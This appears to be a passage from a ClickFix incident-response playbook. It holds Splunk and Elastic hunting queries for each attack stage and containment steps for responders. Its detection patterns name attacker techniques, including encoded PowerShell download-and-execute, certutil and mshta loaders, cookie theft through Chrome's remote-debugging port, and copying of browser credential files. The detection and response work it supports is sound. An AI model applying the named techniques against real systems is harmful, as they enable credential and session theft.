index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=13 (TargetObject="*\\Explorer\\RunMRU\\*" OR TargetObject="*\\Explorer\\TypedPaths\\*")
| table _time host TargetObject Details
// Which host application ran PowerShell (Terminal paste vs script host)
index=windows source="XmlWinEventLog:Windows PowerShell" EventCode=400
| rex "HostApplication=(?<HostApplication>[^\r\n]+)" | rex "HostName=(?<HostName>[^\r\n]+)"
| search HostApplication="*http*" OR HostApplication="*-enc*" OR HostApplication="*iex*" OR HostApplication="*hidden*" OR HostApplication="*bypass*"
| table _time host HostName HostApplication
Stage 2 · Paste and runDownload-folder staging: a browser download run minutes later from a pasted command
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=11 OR EventCode=1)
((EventCode=11 (Image="*\\chrome.exe" OR Image="*\\msedge.exe" OR Image="*\\firefox.exe" OR Image="*\\brave.exe") TargetFilename="*\\Downloads\\*")
OR (EventCode=1 (ParentImage="*\\explorer.exe" OR ParentImage="*\\WindowsTerminal.exe" OR ParentImage="*\\powershell.exe" OR ParentImage="*\\cmd.exe") CommandLine="*\\Downloads\\*"))
| transaction host maxspan=10m startswith="EventCode=11" endswith="EventCode=1"
| table _time host TargetFilename ParentImage CommandLine
Stage 3 · Stage 2The decoded stager (4104 script-block text) and loaders from user paths
index=windows source="XmlWinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104
| regex ScriptBlockText="(?i)DownloadString|Invoke-WebRequest|iwr |irm |FromBase64String|-join|\[char\]|Add-MpPreference|Start-BitsTransfer|Expand-Archive"
| stats min(_time) as first_seen count values(ScriptBlockText) as blocks by host
| convert ctime(first_seen)
// Loaders from user-writable paths
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(Image="*\\mshta.exe" OR Image="*\\regsvr32.exe" OR Image="*\\rundll32.exe" OR Image="*\\curl.exe" OR Image="*\\certutil.exe" OR Image="*\\bitsadmin.exe" OR Image="*\\msiexec.exe")
(CommandLine="*http*" OR CommandLine="*\\AppData\\*" OR CommandLine="*\\Temp\\*" OR CommandLine="*\\Downloads\\*" OR CommandLine="*\\ProgramData\\*" OR CommandLine="*-decode*" OR CommandLine="*/transfer*")
| table _time host User ParentImage Image CommandLine
Stage 4 · PayloadWhat the stager left behind: new binaries, sideloaded DLLs and injection from user-writable paths
AppData or Temp and exit; loaders and RATs stay resident, sideload a DLL next to a signed binary (Sysmon 7 with Signed=false), or inject into a legitimate process (Sysmon 8). NetSupport is client32.exe with client32.ini beside it.index=windows host="<host>" source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest="<paste time>"
(Image="*\\AppData\\*" OR Image="*\\Temp\\*" OR Image="*\\Downloads\\*" OR Image="*\\ProgramData\\*" OR Image="*\\Users\\Public\\*")
| stats min(_time) as first_seen count values(CommandLine) as cmd values(ParentImage) as parent by Image Hashes Company Product OriginalFileName
| convert ctime(first_seen) | sort first_seen
// Sideloaded DLLs and injection
index=windows host="<host>" source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=7 earliest="<paste time>"
(ImageLoaded="*\\AppData\\*" OR ImageLoaded="*\\Temp\\*" OR ImageLoaded="*\\ProgramData\\*") Signed=false
| stats count values(Image) as loaded_by by ImageLoaded Hashes
index=windows host="<host>" source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=8 earliest="<paste time>"
| table _time SourceImage TargetImage StartFunction
Stage 5 · TheftBrowser credential stores read by something that is not the browser; the remote-debugging bypass
--remote-debugging-port and ask it for the cookies. chrome.exe with that flag and a parent that is not explorer.exe or the browser is theft with few false positives.index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(Image="*\\chrome.exe" OR Image="*\\msedge.exe" OR Image="*\\brave.exe")
(CommandLine="*--remote-debugging-port*" OR CommandLine="*--remote-debugging-pipe*" OR CommandLine="*--remote-allow-origins*" OR CommandLine="*--headless*" OR CommandLine="*--user-data-dir*" OR CommandLine="*--restore-last-session*")
NOT (ParentImage="*\\explorer.exe" OR ParentImage="*\\chrome.exe" OR ParentImage="*\\msedge.exe" OR ParentImage="*\\brave.exe" OR ParentImage="*\\svchost.exe" OR ParentImage="*\\userinit.exe")
| table _time host User ParentImage CommandLine
// Profile files copied out of the profile (Sysmon 11; reads are not logged)
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
(TargetFilename="*\\Login Data" OR TargetFilename="*\\Cookies" OR TargetFilename="*\\Web Data" OR TargetFilename="*\\Local State" OR TargetFilename="*\\key4.db" OR TargetFilename="*\\logins.json" OR TargetFilename="*\\cookies.sqlite" OR TargetFilename="*\\places.sqlite")
NOT TargetFilename="*\\User Data\\*" NOT TargetFilename="*\\Firefox\\Profiles\\*"
| table _time host Image TargetFilename
Stage 6 · ExfiltrationOutbound connections from user-path binaries and script hosts after the paste
index=windows host="<host>" source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 Initiated=true
earliest="<paste time>" latest="<paste time plus 2h>"
NOT (DestinationIp=10.0.0.0/8 OR DestinationIp=172.16.0.0/12 OR DestinationIp=192.168.0.0/16)
(Image="*\\AppData\\*" OR Image="*\\Temp\\*" OR Image="*\\Downloads\\*" OR Image="*\\ProgramData\\*" OR Image="*\\Users\\Public\\*"
OR Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR Image="*\\mshta.exe" OR Image="*\\curl.exe" OR Image="*\\rundll32.exe" OR Image="*\\regsvr32.exe" OR Image="*\\msbuild.exe" OR Image="*\\regasm.exe" OR Image="*\\installutil.exe" OR Image="*\\BitLockerToGo.exe" OR Image="*\\more.com")
| stats min(_time) as first_seen count values(DestinationPort) as ports by Image DestinationIp DestinationHostname
| convert ctime(first_seen) | sort first_seen
// Bytes: join the proxy index on src_ip and _time; look for a single POST of tens of MB.
Stage 7 · Session reuseThe host's users signing in from new IPs or networks
sourcetype=azure:monitor:aad (category=SignInLogs OR category=NonInteractiveUserSignInLogs) user IN ("<upn1>", "<upn2>") properties.status.errorCode=0
| stats min(_time) as first_seen count values(category) as kinds values(properties.appDisplayName) as apps by user src properties.autonomousSystemNumber
| convert ctime(first_seen) | sort first_seen
// Okta (Splunk Add-on for Okta Identity Cloud): sourcetype="OktaIM2:log" eventType="user.session.start" actor.alternateId="<upn>" | stats min(_time) count by client.ipAddress client.geographicalContext.country
// Google Workspace (Splunk Add-on for Google Workspace): sourcetype="gws:reports:login" "<upn>" | stats min(_time) count by ipAddress
Stage 8 · PersistenceEverything that survives a reboot, created after the paste
AppData, and NetSupport's client32.ini.index=windows host="<host>" earliest="<paste time>" source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
((EventCode=13 (TargetObject="*\\CurrentVersion\\Run*" OR TargetObject="*\\Winlogon\\*" OR TargetObject="*\\Image File Execution Options\\*"))
OR (EventCode=11 (TargetFilename="*\\Start Menu\\Programs\\Startup\\*" OR TargetFilename="*\\client32.ini" OR TargetFilename="*\\client32.exe" OR (TargetFilename="*\\AppData\\*" TargetFilename="*.dll")))
OR EventCode=19 OR EventCode=20 OR EventCode=21
OR (EventCode=1 ((Image="*\\schtasks.exe" (CommandLine="*/create*" OR CommandLine="*/xml*")) OR (Image="*\\sc.exe" CommandLine="*create*"))))
| table _time EventCode Image TargetObject Details TargetFilename CommandLine
index=windows host="<host>" earliest="<paste time>" (source="XmlWinEventLog:Security" EventCode=4698) OR (source="XmlWinEventLog:System" EventCode=7045)
| table _time EventCode TaskName TaskContent ServiceName ImagePath SubjectUserName
Stage 9 · SpreadOther hosts that resolved the lure or payload domains, or ran the same command shape
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
(QueryName="*<lure domain>" OR QueryName="*<payload domain>")
| stats min(_time) as first_seen dc(host) as hosts values(host) as host_list by QueryName
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 CommandLine="*<distinctive fragment of the pasted command>*"
| stats values(User) as users by host CommandLine
Act
Broad first, surgical once the scope is known. Collect before you stop anything; compromised hosts are rebuilt, not cleaned.
T+0–60 · ContainAct from the EDR and Entra, on the whole hunt result
Isolate every listed host and collect in the EDR (RunMRU, TypedPaths, the PowerShell history file, the browser profile, ActivitiesCache.db, Prefetch, Amcache, SRUM, memory; the Defender, Falcon, SentinelOne and Velociraptor tabs list the commands, and Get-PersistenceSnapshot.ps1 a9534865f9e8e7b1f5077b4e1cfd8c29e7e32f6e9e49a4918ce4f8fb713e64df takes the persistence snapshot); revoke sessions and reset passwords for every listed user in Entra and in every other service the browser held (Google Workspace, Okta, Slack, GitHub, AWS console, the password manager); block the lure and payload domains at DNS and the proxy; report the lure to Google Safe Browsing, the ad network, the site owner and your ISAC. With Splunk SOAR, the EDR's isolate action runs from the playbook against the whole list.
T+10–20 · CapturePreserve the search results and the identity logs before retention moves
Append | outputlookup clickfix_<case>_<stage>.csv to each hunt above and store the files with the case. Export the sign-ins from Entra directly as well: Get-MgAuditLogSignIn -Filter "userPrincipalName eq '<upn>'" -All, and the unified audit log (Search-UnifiedAuditLog -UserIds <upn> -StartDate ... -EndDate ..., 180 d Standard, 1 y Premium).
... | outputlookup clickfix_<case>_stage2.csv
Get-MgAuditLogSignIn -Filter "userPrincipalName eq '<upn>'" -All | Export-Csv clickfix_<case>_signins.csv
powershell_operational and powershell datasets; Entra via the Azure integration (30 d on P1/P2, 7 d free at the source). Wazuh: the same Sysmon and PowerShell channels through the agent, hunted with the Wazuh query filters on the same field names.Hunt
Stage 1 · LureWhich page served the lure
FROM logs-endpoint.events.network-*
| WHERE host.name == "<host>" AND process.name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe") AND dns.question.name IS NOT NULL
| WHERE @timestamp >= "<paste time minus 5m>" AND @timestamp <= "<paste time>"
| KEEP @timestamp, dns.question.name, process.name
| SORT @timestamp
// Mail links: Microsoft 365 Defender integration, UrlClickEvents (Safe Links) where url.full contains the lure domain.
Stage 2 · Paste and runThe pasted command, from the Run dialog, the Explorer address bar or a terminal
# I am not a robot, # reCAPTCHA Verification ID, # Ray ID, or a fake # C:\...\file.pdf in FileFix). Event 400 (HostApplication, mapped to process.command_line in the powershell dataset) fires once per PowerShell host start and names what started it, which separates a Terminal paste from a script host.process where event.type == "start" and
process.parent.name : ("explorer.exe", "WindowsTerminal.exe", "powershell.exe", "pwsh.exe", "cmd.exe", "conhost.exe") and
process.name : ("powershell.exe", "pwsh.exe", "cmd.exe", "mshta.exe", "curl.exe", "msiexec.exe", "certutil.exe", "bitsadmin.exe", "regsvr32.exe", "rundll32.exe", "wscript.exe", "cscript.exe", "conhost.exe", "finger.exe", "ssh.exe") and
(process.command_line : ("*http*", "*-enc*", "*-e *", "*-ec *", "*iex*", "*invoke-expression*", "*downloadstring*", "*downloadfile*", "*irm *", "*iwr *",
"*-w hidden*", "*-w 1*", "*-nop*", "*-ep bypass*", "*-executionpolicy bypass*", "*urlcache*", "*-decode*", "*/transfer*",
"*--headless*", "*proxycommand*", "*/i:http*", "*scrobj*", "*javascript:*", "*frombase64string*")
or process.command_line regex~ """.*#\s*(I am not a robot|reCAPTCHA|Ray ID|Verification|Cloudflare|robot|[A-Z]:\\.+\.(pdf|docx|txt)).*""")
// HTA save-as
process where event.type == "start" and process.name : "mshta.exe" and
process.parent.name : ("chrome.exe", "msedge.exe", "firefox.exe", "brave.exe", "explorer.exe") and process.command_line : ("*\\Downloads\\*", "*.hta*")
// Win+R writes RunMRU, FileFix writes TypedPaths
registry where registry.path : ("*\\Explorer\\RunMRU\\*", "*\\Explorer\\TypedPaths\\*")
// Which host application started PowerShell (event 400, classic Windows PowerShell log)
any where event.dataset == "windows.powershell" and event.code == "400" and process.command_line : ("*http*", "*-enc*", "*iex*", "*hidden*", "*bypass*")
Stage 2 · Paste and runDownload-folder staging: a browser download run minutes later from a pasted command
sequence by host.name with maxspan=10m
[file where event.type == "creation" and file.path : "*\\Downloads\\*" and process.name : ("chrome.exe", "msedge.exe", "firefox.exe", "brave.exe")]
[process where event.type == "start" and
process.parent.name : ("explorer.exe", "WindowsTerminal.exe", "powershell.exe", "cmd.exe") and
process.command_line : "*\\Downloads\\*"]
Stage 3 · Stage 2The decoded stager (4104 script-block text) and loaders from user paths
powershell.file.script_block_text.any where event.dataset == "windows.powershell_operational" and event.code == "4104" and
powershell.file.script_block_text : ("*DownloadString*", "*Invoke-WebRequest*", "*iwr *", "*irm *", "*FromBase64String*", "*-join*", "*[char]*", "*Add-MpPreference*", "*Start-BitsTransfer*", "*Expand-Archive*")
// Loaders from user-writable paths
process where event.type == "start" and
process.name : ("mshta.exe", "regsvr32.exe", "rundll32.exe", "curl.exe", "certutil.exe", "bitsadmin.exe", "msiexec.exe") and
process.command_line : ("*http*", "*\\AppData\\*", "*\\Temp\\*", "*\\Downloads\\*", "*\\ProgramData\\*", "*-decode*", "*/transfer*")
Stage 4 · PayloadWhat the stager left behind: new binaries, sideloaded DLLs and injection from user-writable paths
AppData or Temp and exit; loaders and RATs stay resident, sideload a DLL next to a signed binary, or inject into a legitimate process. NetSupport is client32.exe with client32.ini beside it.FROM logs-endpoint.events.process-*
| WHERE host.name == "<host>" AND event.type == "start" AND @timestamp >= "<paste time>"
| WHERE process.executable RLIKE """(?i).*\\(AppData|Temp|Downloads|ProgramData|Users\\Public)\\.*"""
| STATS first = MIN(@timestamp), runs = COUNT(*), parents = VALUES(process.parent.name) BY process.executable, process.hash.sha256, process.code_signature.subject_name, process.code_signature.trusted, process.pe.original_file_name
| SORT first
// Sideloaded DLLs (EQL)
library where host.name == "<host>" and dll.path : ("*\\AppData\\*", "*\\Temp\\*", "*\\ProgramData\\*") and not dll.code_signature.trusted == true
// NetSupport by name
process where process.name : "client32.exe" or (file where file.name : "client32.ini")
// Injection: Sysmon 8 via Winlogbeat: any where event.code == "8" and event.provider == "Microsoft-Windows-Sysmon"
Stage 5 · TheftBrowser credential stores read by something that is not the browser; the remote-debugging bypass
--remote-debugging-port and ask it for the cookies. chrome.exe with that flag and a parent that is not explorer.exe or the browser is theft with few false positives.process where event.type == "start" and
process.name : ("chrome.exe", "msedge.exe", "brave.exe") and
process.command_line : ("*--remote-debugging-port*", "*--remote-debugging-pipe*", "*--remote-allow-origins*", "*--headless*", "*--user-data-dir*", "*--restore-last-session*") and
not process.parent.name : ("explorer.exe", "chrome.exe", "msedge.exe", "brave.exe", "svchost.exe", "userinit.exe")
// Profile files copied out of the profile (reads are not logged)
file where event.type in ("creation", "change") and
file.name : ("Login Data", "Cookies", "Web Data", "Local State", "key4.db", "logins.json", "cookies.sqlite", "places.sqlite") and
not file.path : ("*\\User Data\\*", "*\\Firefox\\Profiles\\*")
Stage 6 · ExfiltrationOutbound connections from user-path binaries and script hosts after the paste
FROM logs-endpoint.events.network-*
| WHERE host.name == "<host>" AND network.direction == "egress" AND @timestamp >= "<paste time>" AND @timestamp <= "<paste time plus 2h>"
| WHERE NOT CIDR_MATCH(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
| WHERE process.executable RLIKE """(?i).*\\(AppData|Temp|Downloads|ProgramData|Users\\Public)\\.*"""
OR process.name IN ("powershell.exe","pwsh.exe","mshta.exe","curl.exe","rundll32.exe","regsvr32.exe","msbuild.exe","regasm.exe","installutil.exe","BitLockerToGo.exe","more.com")
| STATS first = MIN(@timestamp), connections = COUNT(*), bytes_out = SUM(source.bytes), ports = VALUES(destination.port) BY process.executable, destination.ip
| SORT first
Stage 7 · Session reuseThe host's users signing in from new IPs or networks
logs-azure.signinlogs-*. Okta and Google Workspace integrations answer the same question in their own datasets.FROM logs-azure.signinlogs-*
| WHERE azure.signinlogs.properties.user_principal_name IN ("<upn1>", "<upn2>") AND event.outcome == "success"
| STATS first_seen = MIN(@timestamp), events = COUNT(*), kinds = VALUES(azure.signinlogs.category), apps = VALUES(azure.signinlogs.properties.app_display_name)
BY azure.signinlogs.properties.user_principal_name, source.ip, source.as.organization.name
| SORT first_seen
// Okta: FROM logs-okta.system-* | WHERE event.action == "user.session.start" AND user.email == "<upn>" | STATS MIN(@timestamp), COUNT(*) BY source.ip, source.geo.country_name
// Google Workspace: FROM logs-google_workspace.login-* | WHERE event.action == "login_success" AND user.email == "<upn>" | STATS MIN(@timestamp), COUNT(*) BY source.ip
Stage 8 · PersistenceEverything that survives a reboot, created after the paste
AppData, and NetSupport's client32.ini.registry where host.name == "<host>" and registry.path : ("*\\CurrentVersion\\Run\\*", "*\\CurrentVersion\\RunOnce\\*", "*\\Winlogon\\*", "*\\Image File Execution Options\\*")
file where host.name == "<host>" and event.type == "creation" and
(file.path : "*\\Start Menu\\Programs\\Startup\\*" or file.name : ("client32.exe", "client32.ini") or (file.path : "*\\AppData\\*" and file.extension : "dll"))
process where host.name == "<host>" and event.type == "start" and
((process.name : "schtasks.exe" and process.command_line : ("*/create*", "*/xml*")) or (process.name : "sc.exe" and process.command_line : "*create*") or
(process.name : ("wmic.exe", "powershell.exe") and process.command_line : ("*EventFilter*", "*CommandLineEventConsumer*")))
any where host.name == "<host>" and ((event.code == "4698" and winlog.channel == "Security") or (event.code == "7045" and winlog.channel == "System") or (event.code in ("19", "20", "21") and event.provider == "Microsoft-Windows-Sysmon"))
library where host.name == "<host>" and dll.path : "*\\AppData\\*" and not dll.code_signature.trusted == true
Stage 9 · SpreadOther hosts that resolved the lure or payload domains, or ran the same command shape
FROM logs-endpoint.events.network-*
| WHERE dns.question.name LIKE "*<lure domain>" OR dns.question.name LIKE "*<payload domain>"
| STATS first = MIN(@timestamp), hosts = COUNT_DISTINCT(host.name), host_list = VALUES(host.name) BY dns.question.name
FROM logs-endpoint.events.process-*
| WHERE process.command_line LIKE "*<distinctive fragment of the pasted command>*"
| STATS hosts = VALUES(host.name), users = VALUES(user.name) BY process.command_line
Act
Broad first, surgical once the scope is known. Collect before you stop anything; compromised hosts are rebuilt, not cleaned.
T+0–10 · IsolateIsolate every host that ran the command, in one call
Elastic Defend console: host › Take action › Isolate host (response console: isolate). Wazuh: an isolation active-response script run through PUT /active-response; Wazuh ships no isolation script, so write and test one before you need it.
POST /api/endpoint/action/isolate
{"endpoint_ids": ["<endpoint id>", "<endpoint id>"], "comment": "ClickFix IR case #<n>"}
T+10–20 · CaptureCollect the command, the browser profile, memory and the persistence snapshot (response console)
ActivitiesCache.db keeps the clipboard text when RunMRU was wiped; Prefetch, Amcache, SRUM and the USN journal show what ran and how much it sent; the decoded stager and the stealer's config may only exist in memory.upload puts a file on the host and execute runs it; stage Get-PersistenceSnapshot.ps1 a9534865f9e8e7b1f5077b4e1cfd8c29e7e32f6e9e49a4918ce4f8fb713e64df and Magnet RESPONSE 1.7.2 d315c63d1ad4b89e03c7688b29169e977c2abc4559c23b9f6b2282f3c91a6c7d that way. Browser files are locked while the browser runs; copy them with execute first. Wazuh has no file retrieval; use an active-response script that copies the same list to a share. Also export the 30 days of Entra sign-ins for every user of the host (Get-MgAuditLogSignIn) before retention takes them.
execute --command "reg export HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU C:\IR\runmru.reg"
execute --command "reg export HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths C:\IR\typedpaths.reg"
get-file --path "C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
get-file --path "C:\Users\<user>\Downloads\<file>"
get-file --path "C:\Users\<user>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db"
execute --command "cmd /c copy \"C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\History\" C:\IR\ & copy \"C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data\" C:\IR\ & copy \"C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies\" C:\IR\ & copy \"C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Local State\" C:\IR\"
get-file --path "C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\places.sqlite"
get-file --path "C:\Windows\System32\sru\SRUDB.dat"
get-file --path "C:\Windows\appcompat\Programs\Amcache.hve"
get-file --path "C:\Windows\Prefetch\<PAYLOAD>-<hash>.pf"
upload --file Get-PersistenceSnapshot.ps1
execute --command "powershell -ep Bypass -File C:\Windows\Temp\Get-PersistenceSnapshot.ps1 -Zip -OutputPath C:\IR"
upload --file MagnetRESPONSEv172_Self_Extracting_Archive.exe
execute --command "C:\Windows\Temp\MagnetRESPONSEv172_Self_Extracting_Archive.exe /accepteula /unattended /output:C:\IR /caseref:<n> /captureram /capturepagefile /capturevolatile /saveitems" --timeout 60m
processes
T+15–30 · SecretsRevoke sessions and reset passwords for every user on those hosts, everywhere the browser was signed in
Entra: Revoke-MgUserSignInSession (refresh tokens; access tokens live up to an hour, disable first if privileged), then reset from a clean device (Identity Breach Response). The PRT on an Entra-joined device stays in the TPM; the browser's device-bound cookies derived from it are what the revoke covers. Then, per account the browser held: Google Workspace (Admin console › user › Security › Sign out), Okta (DELETE /api/v1/users/{id}/sessions), Slack (sign out of all sessions), GitHub (Sessions, and rotate PATs), AWS console (deactivate keys, re-issue MFA), password-manager desktop and extension sessions (deauthorise the device). Tell the user to do the same for personal accounts in the same browser.
Revoke-MgUserSignInSession -UserId <upn>
T+30–60 · BlockBlock the lure and the payload, and report the lure
Assets › Blocklist › Add blocklist entry, field Hash (MD5, SHA-1 or SHA-256). Report the lure URL to Google Safe Browsing, to Google Ads or Microsoft Advertising if the referrer was an ad, to the site owner if it is a compromised legitimate site, and to your sector ISAC.
Hour 1+ · RebuildStop the running payload, then rebuild
Release isolation only on a rebuilt host, or on one the hunt clears.
kill-process --pid <pid>